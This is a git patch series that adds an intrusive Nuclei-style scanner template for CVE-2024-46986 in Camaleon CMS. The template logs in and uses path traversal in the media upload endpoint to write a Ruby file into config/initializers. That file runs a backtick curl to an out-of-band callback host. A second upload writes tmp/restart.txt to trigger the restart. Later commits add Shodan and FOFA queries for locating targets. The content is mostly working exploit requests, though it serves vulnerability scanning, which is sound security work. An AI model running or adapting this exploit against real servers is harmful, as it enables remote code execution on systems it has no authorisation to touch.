From 4d20b7da491594cbc7cfd1f64737fe0653498c3b Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Thu, 26 Sep 2024 14:32:18 +0530 Subject: [PATCH 1/3] Create CVE-2024-46986.yaml --- http/cves/2024/CVE-2024-46986.yaml | 124 +++++++++++++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 http/cves/2024/CVE-2024-46986.yaml diff --git a/http/cves/2024/CVE-2024-46986.yaml b/http/cves/2024/CVE-2024-46986.yaml new file mode 100644 index 00000000000..1b3f06b20d1 --- /dev/null +++ b/http/cves/2024/CVE-2024-46986.yaml @@ -0,0 +1,124 @@ +id: CVE-2024-46986 + +info: + name: Camaleon CMS < 2.8.1 Arbitrary File Write to RCE + author: iamnoooob,rootxharsh,pdresearch + severity: critical + description: | + An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application + reference: + - https://github.com/advisories/GHSA-wmjg-vqhv-q5p5 + - https://codeql.github.com/codeql-query-help/ruby/rb-path-injection + - https://owasp.org/www-community/attacks/Path_Traversal + - https://github.com/nomi-sec/PoC-in-GitHub + - https://github.com/fkie-cad/nvd-json-data-feeds + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H + cvss-score: 9.9 + cve-id: CVE-2024-46986 + cwe-id: CWE-22,CWE-74 + epss-score: 0.0009 + epss-percentile: 0.39015 + cpe: cpe:2.3:a:tuzitio:camaleon_cms:*:*:*:*:*:*:*:* + metadata: + vendor: tuzitio + product: camaleon_cms + tags: cve,cve2024,camaleon,intrusive,rce,file-upload,authenticated + +variables: + username: "{{username}}" + password: "{{password}}" + filename: "{{to_lower(rand_text_alpha(12))}}" + +flow: http(1) && http(2) && http(3) && http(4) + +http: + - raw: + - | + GET /admin/login HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: regex + part: body + internal: true + name: nonce + group: 1 + regex: + - 'name="authenticity_token" value="(.*?)"' + + - raw: + - |- + POST /admin/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Connection: keep-alive + + authenticity_token={{nonce}}&user%5Busername%5D={{username}}&user%5Bpassword%5D={{password}} + + matchers: + - type: dsl + dsl: + - 'contains(location,"/admin/dashboard")' + internal: true + + - raw: + - | + POST /admin/media/upload?actions=false HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data;boundary=----WebKitFormBoundarynJs8ffRP2MgQXiF8 + + ------WebKitFormBoundarynJs8ffRP2MgQXiF8 + Content-Disposition: form-data; name="file_upload"; filename="{{filename}}.rb" + Content-Type: text/x-ruby-script + + `curl {{interactsh-url}}` + ------WebKitFormBoundarynJs8ffRP2MgQXiF8 + Content-Disposition: form-data; name="folder" + + ../../../config/initializers/ + ------WebKitFormBoundarynJs8ffRP2MgQXiF8 + Content-Disposition: form-data; name="skip_auto_crop" + + true + ------WebKitFormBoundarynJs8ffRP2MgQXiF8-- + + matchers: + - type: word + part: body + words: + - '{"name":"{{filename}}.rb","folder_path":"../../../config/initializers"' + internal: true + + - raw: + - | + POST /admin/media/upload?actions=false HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data;boundary=----WebKitFormBoundarynJs8ffRP2MgQXiF8 + + ------WebKitFormBoundarynJs8ffRP2MgQXiF8 + Content-Disposition: form-data; name="file_upload"; filename="restart.txt" + Content-Type: text/x-ruby-script + + {{randstr}} + ------WebKitFormBoundarynJs8ffRP2MgQXiF8 + Content-Disposition: form-data; name="folder" + + ../../../tmp/ + ------WebKitFormBoundarynJs8ffRP2MgQXiF8 + Content-Disposition: form-data; name="skip_auto_crop" + + true + ------WebKitFormBoundarynJs8ffRP2MgQXiF8-- + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - dns + + - type: word + part: body + words: + - '{"name":"restart.txt","folder_path":"../../../tmp"' From 7dd2833516b1a5810817d9c24743cd09d0d7fbaa Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Thu, 26 Sep 2024 15:06:51 +0530 Subject: [PATCH 2/3] fix-lint-error --- http/cves/2024/CVE-2024-46986.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/http/cves/2024/CVE-2024-46986.yaml b/http/cves/2024/CVE-2024-46986.yaml index 1b3f06b20d1..9c22fb42898 100644 --- a/http/cves/2024/CVE-2024-46986.yaml +++ b/http/cves/2024/CVE-2024-46986.yaml @@ -48,7 +48,7 @@ http: - 'name="authenticity_token" value="(.*?)"' - raw: - - |- + - | POST /admin/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded @@ -63,7 +63,7 @@ http: internal: true - raw: - - | + - | POST /admin/media/upload?actions=false HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data;boundary=----WebKitFormBoundarynJs8ffRP2MgQXiF8 @@ -87,7 +87,7 @@ http: - type: word part: body words: - - '{"name":"{{filename}}.rb","folder_path":"../../../config/initializers"' + - '{"name":"{{filename}}.rb","folder_path":"../../../config/initializers"' internal: true - raw: From 702a728d89433eb1ad512075e3211bceb80b64b0 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Mon, 30 Sep 2024 12:00:44 +0400 Subject: [PATCH 3/3] Update CVE-2024-46986.yaml --- http/cves/2024/CVE-2024-46986.yaml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/http/cves/2024/CVE-2024-46986.yaml b/http/cves/2024/CVE-2024-46986.yaml index 9c22fb42898..523d5fa2ddb 100644 --- a/http/cves/2024/CVE-2024-46986.yaml +++ b/http/cves/2024/CVE-2024-46986.yaml @@ -21,8 +21,12 @@ info: epss-percentile: 0.39015 cpe: cpe:2.3:a:tuzitio:camaleon_cms:*:*:*:*:*:*:*:* metadata: + max-request: 4 + verified: true vendor: tuzitio product: camaleon_cms + shodan-query: title:"Camaleon CMS" + fofa-query: title="Camaleon CMS" tags: cve,cve2024,camaleon,intrusive,rce,file-upload,authenticated variables: